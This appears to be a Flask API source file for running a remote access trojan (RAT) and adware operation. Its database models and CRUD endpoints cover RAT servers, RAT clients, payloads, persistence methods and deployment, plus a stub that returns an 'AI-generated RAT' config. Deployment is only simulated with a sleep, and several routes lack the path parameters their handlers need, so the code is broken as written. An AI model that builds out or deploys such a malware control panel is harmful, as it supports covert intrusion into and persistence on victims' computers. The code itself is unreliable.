from flask import Flask, request, jsonify from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate import logging import json import os import subprocess import time import threading from functools import wraps app = Flask(__name__) # Configure logging logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') logger = logging.getLogger(__name__) # Database Configuration app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL', 'sqlite:///app.db') app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) migrate = Migrate(app, db) # --- Data Models --- class Payload(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(255), nullable=False) description = db.Column(db.Text) file_path = db.Column(db.String(255), nullable=False) class DeploymentMethod(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(255), nullable=False) description = db.Column(db.Text) config_schema = db.Column(db.JSON) class Adware(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(255), nullable=False) description = db.Column(db.Text) target_os = db.Column(db.String(255), nullable=False) persistence_method = db.Column(db.String(255), nullable=False) payload_id = db.Column(db.Integer, db.ForeignKey('payload.id'), nullable=False) deployment_method_id = db.Column(db.Integer, db.ForeignKey('deployment_method.id'), nullable=False) config = db.Column(db.JSON) payload = db.relationship('Payload', backref='adwares') deployment_method = db.relationship('DeploymentMethod', backref='adwares') class RatServer(db.Model): id = db.Column(db.Integer, primary_key=True) server_ip = db.Column(db.String(255), nullable=False) server_port = db.Column(db.Integer, nullable=False) encryption_method = db.Column(db.String(255)) deployment_method = db.Column(db.String(255)) deployment_status = db.Column(db.String(255), default='pending') deployment_message = db.Column(db.Text) deployment_details = db.Column(db.JSON) class RatClient(db.Model): id = db.Column(db.Integer, primary_key=True) config = db.Column(db.JSON, nullable=False) deployment_method = db.Column(db.String(255)) deployment_status = db.Column(db.String(255), default='pending') deployment_message = db.Column(db.Text) deployment_details = db.Column(db.JSON) # --- Authentication Decorator --- def require_api_key(f): @wraps(f) def decorated_function(*args, **kwargs): api_key = request.headers.get('X-API-Key') if not api_key or api_key != os.environ.get('API_KEY', 'your_default_api_key'): return jsonify({'message': 'Unauthorized'}), 401 return f(*args, **kwargs) return decorated_function # --- Deployment Status Tracking --- deployment_statuses = {} def update_deployment_status(deployment_id, status, message=None, details=None): deployment_statuses[deployment_id] = { 'status': status, 'message': message, 'details': details, 'last_updated': time.time() } def get_deployment_status(deployment_id): return deployment_statuses.get(deployment_id) # --- API Endpoints --- @app.route('/api/rat/servers', methods=['GET', 'POST']) @require_api_key def manage_rat_servers(): if request.method == 'GET': servers = RatServer.query.all() return jsonify([{'id': s.id, 'server_ip': s.server_ip, 'server_port': s.server_port, 'encryption_method': s.encryption_method, 'deployment_method': s.deployment_method, 'deployment_status': s.deployment_status, 'deployment_message': s.deployment_message, 'deployment_details': s.deployment_details} for s in servers]) elif request.method == 'POST': data = request.get_json() new_server = RatServer(server_ip=data['server_ip'], server_port=data['server_port'], encryption_method=data.get('encryption_method'), deployment_method=data.get('deployment_method')) db.session.add(new_server) db.session.commit() logger.info(f"Created new RAT server: {new_server.id}") return jsonify({'message': 'RAT server created successfully', 'id': new_server.id}), 201 @app.route('/api/rat/servers/', methods=['GET', 'PUT', 'DELETE']) @require_api_key def manage_rat_server(server_id): server = RatServer.query.get_or_404(server_id) if request.method == 'GET': return jsonify({'id': server.id, 'server_ip': server.server_ip, 'server_port': server.server_port, 'encryption_method': server.encryption_method, 'deployment_method': server.deployment_method, 'deployment_status': server.deployment_status, 'deployment_message': server.deployment_message, 'deployment_details': server.deployment_details}) elif request.method == 'PUT': data = request.get_json() server.server_ip = data['server_ip'] server.server_port = data['server_port'] server.encryption_method = data.get('encryption_method') server.deployment_method = data.get('deployment_method') db.session.commit() logger.info(f"Updated RAT server: {server.id}") return jsonify({'message': 'RAT server updated successfully'}) elif request.method == 'DELETE': db.session.delete(server) db.session.commit() logger.info(f"Deleted RAT server: {server.id}") return jsonify({'message': 'RAT server deleted successfully'}) @app.route('/api/rat/clients', methods=['GET', 'POST']) @require_api_key def manage_rat_clients(): if request.method == 'GET': clients = RatClient.query.all() return jsonify([{'id': c.id, 'config': c.config, 'deployment_method': c.deployment_method, 'deployment_status': c.deployment_status, 'deployment_message': c.deployment_message, 'deployment_details': c.deployment_details} for c in clients]) elif request.method == 'POST': data = request.get_json() new_client = RatClient(config=data['config'], deployment_method=data.get('deployment_method')) db.session.add(new_client) db.session.commit() logger.info(f"Created new RAT client: {new_client.id}") return jsonify({'message': 'RAT client created successfully', 'id': new_client.id}), 201 @app.route('/api/rat/clients/', methods=['GET', 'PUT', 'DELETE']) @require_api_key def manage_rat_client(client_id): client = RatClient.query.get_or_404(client_id) if request.method == 'GET': return jsonify({'id': client.id, 'config': client.config, 'deployment_method': client.deployment_method, 'deployment_status': client.deployment_status, 'deployment_message': client.deployment_message, 'deployment_details': client.deployment_details}) elif request.method == 'PUT': data = request.get_json() client.config = data['config'] client.deployment_method = data.get('deployment_method') db.session.commit() logger.info(f"Updated RAT client: {client.id}") return jsonify({'message': 'RAT client updated successfully'}) elif request.method == 'DELETE': db.session.delete(client) db.session.commit() logger.info(f"Deleted RAT client: {client.id}") return jsonify({'message': 'RAT client deleted successfully'}) @app.route('/api/rat/generate', methods=['POST']) @require_api_key def generate_rat_config(): data = request.get_json() goal = data.get('goal') constraints = data.get('constraints', {}) # Placeholder for AI logic (replace with actual AI integration) logger.info(f"Generating RAT config with AI. Goal: {goal}, Constraints: {constraints}") ai_config = { 'name': f'AI-Generated RAT for {goal}', 'description': f'RAT generated by AI with goal: {goal}', 'target_os': 'Windows', 'persistence_method': 'Registry', 'payload_id': 1, # Placeholder, you'd need to select a payload 'deployment_method_id': 1, # Placeholder, you'd need to select a deployment method 'config': {'key': 'value'} } logger.info(f"AI generated config: {ai_config}") return jsonify(ai_config) @app.route('/api/rat/servers//deploy', methods=['POST']) @require_api_key def deploy_rat_server(server_id): server = RatServer.query.get_or_404(server_id) deployment_id = f'server-{server_id}-{time.time()}' update_deployment_status(deployment_id, 'pending', 'Deployment initiated.') def deployment_thread(): try: update_deployment_status(deployment_id, 'in-progress', 'Starting deployment process.') # Example deployment logic (replace with actual deployment) logger.info(f"Deploying RAT server: {server.id} using method: {server.deployment_method}") # This is a placeholder, you'd need to implement the actual deployment logic here # For example, you might use subprocess to execute a script or command # that uses the deployment method. # Example: # subprocess.run(['python', 'deploy.py', server.server_ip, str(server.server_port), server.encryption_method, server.deployment_method], check=True) time.sleep(5) # Simulate deployment time update_deployment_status(deployment_id, 'success', 'RAT server deployed successfully.') server.deployment_status = 'success' server.deployment_message = 'RAT server deployed successfully.' db.session.commit() except subprocess.CalledProcessError as e: logger.error(f"Error deploying RAT server: {str(e)}") update_deployment_status(deployment_id, 'error', f'Error deploying RAT server: {str(e)}') server.deployment_status = 'error' server.deployment_message = f'Error deploying RAT server: {str(e)}' db.session.commit() except Exception as e: logger.error(f"Error deploying RAT server: {str(e)}") update_deployment_status(deployment_id, 'error', f'Error deploying RAT server: {str(e)}') server.deployment_status = 'error' server.deployment_message = f'Error deploying RAT server: {str(e)}' db.session.commit() thread = threading.Thread(target=deployment_thread) thread.start() return jsonify({'message': 'RAT server deployment initiated.', 'deployment_id': deployment_id}), 202 @app.route('/api/rat/clients//deploy', methods=['POST']) @require_api_key def deploy_rat_client(client_id): client = RatClient.query.get_or_404(client_id) deployment_id = f'client-{client_id}-{time.time()}' update_deployment_status(deployment_id, 'pending', 'Deployment initiated.') def deployment_thread(): try: update_deployment_status(deployment_id, 'in-progress', 'Starting deployment process.') # Example deployment logic (replace with actual deployment) logger.info(f"Deploying RAT client: {client.id} using method: {client.deployment_method}") # This is a placeholder, you'd need to implement the actual deployment logic here # For example, you might use subprocess to execute a script or command # that uses the deployment method. # Example: # subprocess.run(['python', 'deploy.py', json.dumps(client.config), client.deployment_method], check=True) time.sleep(5) # Simulate deployment time update_deployment_status(deployment_id, 'success', 'RAT client deployed successfully.') client.deployment_status = 'success' client.deployment_message = 'RAT client deployed successfully.' db.session.commit() except subprocess.CalledProcessError as e: logger.error(f"Error deploying RAT client: {str(e)}") update_deployment_status(deployment_id, 'error', f'Error deploying RAT client: {str(e)}') client.deployment_status = 'error' client.deployment_message = f'Error deploying RAT client: {str(e)}' db.session.commit() except Exception as e: logger.error(f"Error deploying RAT client: {str(e)}") update_deployment_status(deployment_id, 'error', f'Error deploying RAT client: {str(e)}') client.deployment_status = 'error' client.deployment_message = f'Error deploying RAT client: {str(e)}' db.session.commit() thread = threading.Thread(target=deployment_thread) thread.start() return jsonify({'message': 'RAT client deployment initiated.', 'deployment_id': deployment_id}), 202 @app.route('/api/rat/deployments//status', methods=['GET']) @require_api_key def get_deployment_status_route(deployment_id): status = get_deployment_status(deployment_id) if status: return jsonify(status) else: return jsonify({'message': 'Deployment status not found'}), 404 if __name__ == '__main__': with app.app_context(): db.create_all() app.run(debug=True)